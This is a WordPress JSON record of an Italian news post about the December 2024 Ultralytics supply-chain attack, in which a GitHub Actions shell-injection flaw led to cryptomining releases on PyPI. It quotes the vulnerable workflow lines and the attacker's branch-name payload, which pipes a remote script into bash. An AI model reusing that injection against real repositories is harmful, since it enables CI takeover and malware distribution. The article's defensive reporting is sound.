{"id":120890,"date":"2024-12-07T15:46:00","date_gmt":"2024-12-07T13:46:01","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics"},"modified":"2024-12-07T15:46:00","modified_gmt":"2024-12-07T13:46:01","slug":"oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics","status":"publish","type":"post","link":"https:\/\/prohoster.info\/it\/blog\/novosti-interneta\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics","title":{"rendered":"Un errore nel gestore di GitHub Actions ha portato alla pubblicazione di versioni dannose di Ultralytics","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p>Gli aggressori sono riusciti a eseguire codice con i privilegi del gestore GitHub Actions nel repository della libreria Python Ultralytics, utilizzata per affrontare compiti di visione artificiale, come il riconoscimento di oggetti nelle immagini e la segmentazione delle immagini. Dopo aver ottenuto accesso al repository, gli attaccanti hanno pubblicato diverse nuove versioni di Ultralytics nel catalogo PyPI, incluse modifiche dannose per il mining di criptovalute. Nell'ultimo mese, la libreria Ultralytics \u00e8 stata scaricata pi\u00f9 di 6,4 milioni di volte dal catalogo PyPI.     <\/p>\n<p>Per compromettere il repository \u00e8 stata sfruttata una vulnerabilit\u00e0 nel pacchetto ultralytics-actions, utilizzato per avviare automaticamente i gestori in seguito a determinate azioni sul repository di GitHub, utilizzando il meccanismo GitHub Actions. Nel progetto ultralytics, il gestore vulnerabile era associato all'evento pull_request_target e veniva chiamato al ricevimento di nuove pull request. In particolare, per formattare il codice nelle pull request inviate veniva chiamato il gestore format.yml ed eseguito il codice specificato nella sezione \u00abrun\u00bb del file action.yml, che conteneva comandi shell con variabili sostituibili:        git pull origin ${{ github.head_ref || github.ref }}    git config \u2014global user.name \u00ab${{ inputs.github_username }}\u00bb    git config \u2014global user.email \u00ab${{ inputs.github_email }}\u00bb      <\/p>\n<p>Pertanto, i nomi dei branch Git menzionati nelle pull request venivano inseriti nei comandi shell senza il dovuto escaping. \u00c8 interessante notare che ad agosto nel pacchetto ultralytics-actions era gi\u00e0 stata corretta una vulnerabilit\u00e0 simile, legata all'uso di un valore esterno nella funzione echo:      echo \u00abgithub.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}\u00bb      <\/p>\n<p>Per eseguire il proprio codice nel contesto del gestore di GitHub Actions, gli attaccanti hanno inviato una pull request al repository ultralytics, specificando come nome del ramo: openimbot:$(curl -sSfL raw.githubusercontent.com\/ultralytics\/ultralytics\/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545\/file.sh${IFS}|${IFS}bash)      <\/p>\n<p>Di conseguenza, al momento della ricezione della pull request, nel codice appariva la stringa fornita dagli attaccanti \u00ab$(&#8230;)\u00bb, che lorsignori avevano inserito e che successivamente, durante l'esecuzione del gestore, ha portato all'esecuzione del codice \u00abcurl -sSfL raw.githubusercontent.com\/&#8230;\/file.sh | bash\u00bb.     <center><img decoding=\"async\" alt=\"Un errore nel gestore di GitHub Actions ha portato alla pubblicazione di versioni dannose di Ultralytics\" src=\"\/wp-content\/uploads\/2024\/12\/c734b63e67d629d8af635f4193bfb0d0.png\" style=\"display:block;margin: 0 auto;\" \/><\/center>    <\/p>\n<p>L'esecuzione di codice nel contesto di GitHub Actions pu\u00f2 essere utilizzata per catturare il token di accesso al repository e altri dati sensibili. Non \u00e8 ancora chiaro come gli attaccanti siano riusciti a formare il rilascio ottenendo la possibilit\u00e0 di eseguire il proprio codice in GitHub Actions; si ipotizza che ci\u00f2 sia stato reso possibile dalla modifica del gestore publish.yml (dove gli attaccanti hanno rimosso il controllo dell'account autorizzato a pubblicare rilasci su PyPI) e dall'utilizzo della tecnica di avvelenamento della cache di compilazione di GitHub Actions per inserire i propri dati nel rilascio.           <\/p>\n<p>Il primo rilascio malevolo di Ultralytics 8.3.41 \u00e8 stato pubblicato da malintenzionati nel catalogo PyPI il 4 dicembre alle 23:51 (MSK) ed \u00e8 stato rimosso il giorno successivo alle 12:15. Alle 15:47 \u00e8 stata pubblicata un'altra versione 8.3.42, che \u00e8 stata rimossa alle 16:47. Pertanto, le versioni malevole sono state disponibili per il download per circa 13 ore (in un giorno PyPI registra circa 250.000 download della libreria ultralytics). Le versioni 8.3.41 e 8.3.42 contenevano codice che effettuava il download da un esterno <a class=\"wpil_keyword_link\" href=\"https:\/\/prohoster.info\/it\/server\/dts-los-angeles\/\"   title=\"server\" data-wpil-keyword-link=\"linked\"  data-wpil-monitor-id=\"3954\">server<\/a> componente XMRig per il mining di criptovalute.    <\/p>\n<p>Gli sviluppatori del progetto hanno risolto il problema e hanno rilasciato le correzioni 8.3.43 e 8.3.44, ma due giorni dopo \u00e8 avvenuto un ulteriore attacco, durante il quale i malintenzionati hanno pubblicato oggi alle 04:41 e 05:27 (MSK) due ulteriori versioni malevole \u2014 8.3.45 e 8.3.46, che includevano altro codice per il mining. Fino al termine delle indagini, si consiglia agli utenti di aspettare prima di installare nuove versioni e di fissare la dipendenza alla versione 8.3.44.<br \/>\n<br \/>Fonte: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/www.opennet.ru\/opennews\/art.shtml?num=62365\">opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0441\u043c\u043e\u0433\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 GitHub Actions \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 Python-\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 Ultralytics, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u043e\u0439 \u0434\u043b\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u0447 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u043e\u0433\u043e \u0437\u0440\u0435\u043d\u0438\u044f, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432 \u043d\u0430 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f\u0445 \u0438 \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439. \u041f\u043e\u0441\u043b\u0435 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044e \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043d\u043e\u0432\u044b\u0445 \u0440\u0435\u043b\u0438\u0437\u043e\u0432 Ultralytics, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043c\u0430\u0439\u043d\u0438\u043d\u0433\u0430 \u043a\u0440\u0438\u043f\u0442\u043e\u0432\u0430\u043b\u044e\u0442. \u0417\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u043c\u0435\u0441\u044f\u0446 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 Ultralytics \u0431\u044b\u043b\u0430 \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u0430 [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":120891,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-120890","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-novosti-interneta"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 4.9.10 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0441\u043c\u043e\u0433\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 GitHub Actions \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 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